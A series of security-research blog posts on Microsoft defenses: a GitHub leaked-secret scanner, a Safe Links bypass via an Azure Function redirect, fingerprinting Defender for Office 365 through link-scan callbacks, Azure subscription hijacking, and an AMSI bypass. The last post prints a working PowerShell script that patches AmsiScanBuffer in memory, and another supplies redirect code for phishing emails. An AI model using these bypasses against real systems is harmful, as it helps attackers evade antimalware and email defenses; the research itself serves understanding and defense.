Microsoft Workload Identities Leaked Credentials

Microsoft Workload Identities Leaked Credentials

Microsoft announced four new detections in Azure Active Directory Identity Protection last month. One of the four detections is “Workload Identities Leaked Credentials.” During a Microsoft webinar where I demonstrated this new feature in Microsoft Identity Protection, multiple people requested the tool I created, so I decided to release it.

This blog post will briefly explain the new Workload Identities Leaked Credentials detection and link to a tool I created to scan GitHub repositories for leaked credentials, specifically AadSecrets using the GitHub API requested by some people during a webinar.

Workload Identities Leaked Credentials

Azure Active Directory Identity Protection is a risk-based feature to protect identities in the cloud based on many indicators (atypical travel, malware-linked IP address, and many more). Conditional Access uses these detections to prevent an identity from accessing cloud services based on risk classifications. Using Azure Active Directory Identity Protection makes it possible to mitigate an attack within seconds due to an automated response.

Image 1: Conditional Access Workload Identities

Note: Conditional Access policies, at their simplest, are if-then statements. If a user wants to access a resource, they must complete an action. An action is forcing the user to use Multi-Factor Authentication or forced to change their password.

The new feature in Azure Active Directory Identity Protection now supports the detection of leaked credentials for workload identities. A workload identity is an identity used to authenticate and access other services and resources. Think of a Service Principal created when you create an Enterprise Application.

Image 2: Identity Protection Workload Identities

Microsoft scans GitHub, Pastebin, etc., for leaked credentials, and if there is a match with your environment, by comparing the hash of the password, it will trigger an alert and mitigate the risk.

Leaked credentials are a common mistake made by many administrators. GitHub already supported the “Leaked Credentials” feature, but no comparison in any environment occurs. Still, with Azure Active Directory Identity Protection, the hash is compared with the hash in Azure Active Directory to see if there is a match. Suppose there is a match, an alert triggers.

Microsoft GitHub Scanner

For demonstration purposes, I created a tool to scan for leaked credentials on GitHub. The tool uses the GitHub API to get all files in the repository and scans for AadSecrets. As I created it for demonstration purposes only, it is not perfect. PowerShell could be an option, but I decided to use C# core for fun.

The tool is simple. I use an API to list all files in a repository and re-write the URL to get the raw contents. Then I scan for AadSecret in the raw contents for leaked credentials. I do not have to download any repository as some tools do to make it simple, fast, and accessible.

Image 3: Microsoft GitHub Scanner

Conclusion

In my opinion, Azure Active Directory Identity Protection is a must to protect identities in any corporate environment. The combination of Azure Identity Protection and Conditional Access drastically lowers the risk of a compromised identity. Now that workload identities are also protected makes it even more powerful.

Microsoft Defender for Office 365 Safe Links Bypass

Microsoft Defender for Office 365 Safe Links Bypass

In my previous blog post, I mentioned you need a URL shortener instead of the Azure Function URL to send to a mailbox to identify Microsoft Defender for Office 365 Safe Links. The reason to use a shortener is that using the direct Function App URL bypasses Microsoft Defender for Office 365 Safe Links active scanning. This blog post will briefly explain how this bypass works and how an attacker can use it to their advantage.

As a reminder, here is the flow used to identify Microsoft Defender for Office 365 Safe Links.

Image 1: Flow to detect Microsoft Defender for Office 365 Safe Links

To my surprise, when sending the Function App URL, Microsoft Defender for Office 365 Safe Links does not actively scan the URL. So I was thinking, what if I create a URL forwarder using the Function App forwarding the user to a malicious website? Does it “bypass” the active scanning using Microsoft Defender for Office 365 Safe Links?

After some testing, I was surprised Microsoft Defender for Office 365 Safe Links is not actively scanning the URL. Here is the code for the forwarder using an Azure Function App.

#r "Newtonsoft.Json"
 
using Microsoft.AspNetCore.Mvc;
 
public static IActionResult Run(HttpRequest req, ILogger log)
{
    return new RedirectResult("https://malicious.com", true);
}

So sending the Function App URL using a phishing e-mail redirects the user to a malicious website and bypasses Microsoft Defender for Office 365 Safe Links active scanning.

Conclusion

Microsoft Defender for Office 365 is a product that is hard to bypass, mainly because it can be a black box. When using this bypass, layered security should stop a user from visiting malicious websites, like enabling Smartscreen, so using layered security is always a good idea.

Microsoft Defender for Office 365 Identification

Microsoft Defender for Office 365 Identification

A few months ago, I wrote a script that checks if a company uses Microsoft Defender for Identity. I then wondered if there is a way to identify if a company uses Microsoft Defender for Office 365. Safe Links, a Microsoft Defender for Office 365 feature, actively scans incoming URLs. So checking if Microsoft Defender for Office 365 scans the URL to identify Microsoft Defender for office 365 is manageable. This blog post will briefly explain how I identified if a company uses Microsoft Defender for Office 365 Safe Links, possibly without sending a single valid e-mail.

Microsoft Defender for Office 365

I do not want to detail what Microsoft Defender for Office 365 is, but an important feature to understand is Safe Links. Safe Links is a feature in Microsoft Defender for Office 365 that provides malicious URL scanning and time-of-click verification of links in e-mail messages and Microsoft Teams.

So if you sent an e-mail to a mailbox, URL scanning takes place by Microsoft Defender for Office 365 Safe Links. If you can identify if Microsoft performs the scan, you can determine if Microsoft Defender for Office 365 is enabled. So simply running an HTTP listener for incoming requests should do the trick.

Azure Function App

First, I thought running a simple HTTP server was enough, but then I had the idea to use a Function App since that already contains an HTTP trigger that I can use. If I could capture the incoming request, I could validate who is actively scanning the URL. But since I wanted to send myself an e-mail with the information, I thought it would be easier to use a Logic App instead.

Azure Logic App

When an HTTP request is received, the Logic App triggers. So capturing the request would be enough to get all the information I need. Unfortunately, I could not get the IP address of the initial request since the Logic App did not provide me with the correct information.

What I could do, though, is use an Azure Function App to send all the information I need to a Logic App and then send the e-mail.

Image 1: Flow to detect Microsoft Defender for Office 365 Safe Links

Function Code

I ended up with a function using the HTTP trigger template. The HTTP trigger function runs whenever it receives an HTTP request, responding based on data in the body or query string. My function checks if the IP address to scan the URL is from Microsoft and sends a POST request to a Logic App.

using namespace System.Net
 
param($Request, $TriggerMetadata)
 
$IPAddress = $Request.Headers["x-forwarded-for"]
$UserAgent = $Request.Headers["user-agent"]
 
if($IPAddress -like "40.94.*.*") {
    $MDODetected = "Yes"
}
Else {
    $MDODetected = "No"
}
 
$params = @{'IP Address' = "$IPAddress";
'MDO Detected' = "$MDODetected";
'User Agent' = "$UserAgent";
} | ConvertTo-Json
 
Invoke-WebRequest -Uri 'https://prod-165.westeurope.logic.azure.com:443/workflows/<SNIP>' -Method POST -Body $params -ContentType 'application/json'
 
Push-OutputBinding -Name Response -Value ([HttpResponseContext]@{
    StatusCode = [HttpStatusCode]::OK
    Body = $params
})

Note: I identified Microsoft Defender for Office 365 Safe Links using the IP address, but technically you can identify any active scanning based on any header.

Pasting the Function App URL in a browser shows the following information.

Image 2: Output from the Azure Function when accessing using a browser

Sending an e-mail

Now that we identify who is scanning the URL by capturing the GET request, we can forward it to a Logic App and send ourselves an e-mail with the information we need.

We can trigger the Logic App with a POST request, parse it to JSON, and send the information from the JSON parsing using an e-mail. Here is a screenshot of the Logic Apps steps.

Image 3: The Logic App flow

We have to send the Function App URL to an e-mail address and see if Microsoft scans the URL. Sending the Function App URL is enough to get the information needed to identify if Microsoft scans the URL.

Note: To ensure that Microsoft scans the URL, you need to use a URL shortener and send the shortener URL to a mailbox. More information about that in a future blog post.

An e-mail to a non-existing mailbox also does the trick, depending on the configuration. So first, try to send an e-mail to a non-existing mailbox. If it identifies as “Microsoft Defender for Office 365 Identified,” you know Microsoft Defender for Office 365 is running, and you do not have to send an e-mail to an existing mailbox to be more stealthy.

Conclusion

Using this technique makes it possible to also identify other e-mail scanning services, but my main goal was to identify Microsoft Defender for Office 365, and it worked.

Microsoft Azure Subscription Hijacking

Microsoft Azure Subscription Hijacking

Suppose you have a pay-as-you-go subscription in Azure. In that case, you might need to review who owns the Global Administrator role or who has owner permissions on that subscription in your tenant as a malicious user or attacker can hijack the subscription and make high costs at your expense. Since all activity logs are moved to the malicious user or attacker’s tenant, detecting this attack is, let us say, challenging. This blog post will briefly explain how attackers perform this attack.

Payment Information

Only a credit card or debit card is accepted when creating a pay-as-you-go subscription. Once you create the pay-as-you-go subscription, the payment information is attached to that subscription. So, suppose a malicious user or attacker moves the tenant’s subscription to a controlled tenant by the malicious user or attacker. In that case, the payment information is also moved over, including the activity logs. Once the subscription lives in the malicious user or attacker-controlled tenant, deploying resources comes at your costs, and you can not take it back. The result is losing all resources in that subscription, including very high costs if the attacker deploys resources.

Owner Permissions

It is possible to perform the attack if a malicious user or attacker gets owner permissions on a pay-as-you-go subscription. So be careful to give a guest user owner permission on a pay-as-you-go subscription. Since the guest user is out of your control, once the guest user gets compromised, an attacker can change the directory and move the subscription to an attacker controller tenant and deploy resources or mine crypto, which results in high costs.

Once a malicious user with the Global Administrator role or an attacker gets hold of a user with the Global Administrator role, a single click is needed to get owner permissions on all subscriptions within the tenant and perform the attack. The single-click option is the “Access management for Azure resources” within Azure Active Directory, elevating access to all subscriptions and management groups.

Image 1: Moving the subscription, payment info and activity log to the attacker’s tenant.

Once setting the owner permissions, the malicious user or attacker invites a user from the malicious user or attacker-controlled tenant and changes directory to move the subscription, including the payment information of the victim and the activity logs.

Conclusion

For me, it is mind-blown why Microsoft does not validate the payment information when moving the subscription to another directory. The activity logs move along with the subscription, so detection is challenging, but monitoring your identities, limiting the users with the Global Administrator role, and no owner permissions for guest users should lower the risk of a successful attack.

Microsoft Windows Antimalware Scan Interface Bypasses

Microsoft Windows Antimalware Scan Interface Bypasses

Antimalware Scan Interface, or AMSI in short, is an interface standard for Windows components like User Account Control, PowerShell, Windows Script Host, Macro’s, Javascript, and VBScript to scan for malicious content. AMSI sits in the middle of an application and an AMSI provider, like Microsoft Defender, to identify malicious content. In this blog post, I will go through the technical details on bypassing AMSI using a technique called memory patching.

How AMSI works

When running any code in PowerShell, it is passed to AMSI first before executing. AMSI will scan for any malicious content and report back to the AMSI provider with the result. If the result is “clean,” the code is executed. If the result is “detected,” the AMSI provider blocks the execution.

Here is an illustration of the AMSI architecture.

Image 1: AMSI architectural overview.

And here is an example of AMSI blocking a “malicious” string in PowerShell.

Image 2: AMSI blocking the string “amsiscanbuffer”.

As you can see, AMSI identified “amsiscanbuffer” as malicious, and Microsoft Defender, as an AMSI provider, blocked the content from running.

Debugging AMSI

I will use WinDbg in combination with PowerShell to perform the bypass and explain what is going on.

First, we start WinDbg and PowerShell. When we attach PowerShell to WinDbg, we can see amsi.dll is one of the loaded modules.

Image 3: AMSI loaded as a module.

We can use the “x” command to examine all symbols that match a specified pattern to identify all AMSI symbols.

Image 4: All AMSI symbols starting with amsi!Amsi.

Luckily, Microsoft well documents the functions in Antimalware Scan Interface, which is very helpful.

Image 5: Microsoft docs AMSI functions.

Let us set a breakpoint on “amsi!AmsiScanBuffer” first and see if we can bypass AMSI.

Image 6: Setting a breakpoint and resume PowerShell.

If we look at the Microsoft documentation, AmsiScanBuffer “Scans a buffer-full of content for malware.” AmsiScanBuffer accepts multiple parameters, including the buffer to scan and the length of the buffer. If we can change the buffer or change the length of the buffer, we can probably bypass AMSI.

Do not be overwhelmed by the assembly code. Even though this blog post is not about assembly language, I will guide you through it. We can ignore most parts of the code anyway—for example, the first line of code.

mov r11, rsp

In assembly, a stack is an abstract data structure that consists of information in a Last In First Out system. To speed up the processor operations, the processor includes some internal memory storage locations, called registers. The registers differences between architectures like 16, 32, and 64 bits. In x86 assembly 16 bit, the registers are AX, BX, CX, DX, etc. With 32 bit, the registers have an “E” prepended. The “E” stands for Extended, and they never think this through for when another architecture is released because, for 64 bit, the registers have an “R” prepended. The “MOV” command moves any value from one register to the other.

So, the first line of code moves whatever is in the RSP register to the R11 register. The RSP register is the stack pointer register, and it points to the top of the stack. All the first line of code does is to preserve the address of the pointer in another register.

All of this is to explain you do not have to look at all lines of code as not everything is relevant. From now on, I will only go through the exciting parts of the code.

AMSI Bypass

Oversimplified, we skip all of the code in AmsiScanBuffer to the end of the procedure so that no scanning occurs. Without scanning, no identification of malicious code takes place.

The instruction to return from the procedure is “ret.” The return instruction is a single byte and is “c3” in hexadecimal. The first line of code contains three bytes, “41 8b f8”. We need to replace the other two instructions since we only use a single byte for the return instruction. Luckily there is an operation to fill the gaps, called a “no operation” or “nop.” A “nop” operation does nothing and is perfect for filling the gaps.

So we replace “41 8b f8” with “ret, nop, nop” or “c3 90 90” respectively.

Image 7: Changing the code to a return and two no-operations.

If we continue PowerShell, we see AMSI is not detecting the malicious string.

Image 8: amsiscanbuffer not detected as malicious due to patch.

Here is an animation of the bypass.

Animation 1: AMSI bypass using a return.

PowerShell Script

Rasta Mouse already created a script to patch AMSI in memory, so we use this as a starting point.

$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]0)
$Patch = [Byte[]] (0xc3, 0x90, 0x90)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 3)

The script uses GetProcAddress to retrieve the address of an exported function, which in this case, is asmi.dll. VirtualProtect changes the protection on a region to write so we can write to memory. The variable $patch is a byte array with our bytes to “patch.”

If we run this script in PowerShell, we can see that “amsiscanbuffer” is not marked as malicious anymore.

Image 9: Patching PowerShell to bypass AMSI.

Another AMSI Bypass

Ok, back to the AmsiScanBuffer function. Before calling the function, the values for the parameters need to be pushed on top of the stack. We know that one of the parameters is the length of the buffer.

If we step through the code, we find “mov edi, r8d”. The value of register “r8d” is “1c,” which is 28 in decimal. So the length of the buffer that is check is 28 bytes. If we change this value to 0, there is no buffer to check.

Image 10: Bypassing AMSI by setting the length of the buffer to 0.

If we resume PowerShell in WinDbg, we can see the “malicious” string “amsiscanbuffer” is not marked as malicious anymore.

Image 11: AMSI bypassed by setting the length of the buffer to 0.

Here is an animation of the bypass.

Animation 2: AMSI bypass using a 0 buffer length.

Conclusion

As you can see, AMSI is not hard to bypass. Even if Microsoft identifies common code used in a bypass as malicious, there are many ways to work around it. Even script-kiddies are not detected if they know they need to run a simple script to bypass AMSI before running malicious code. Hopefully, AMSI keeps updating the matching pattern where most bypasses are detected. It is a matter of time, though, when attackers create a new bypass.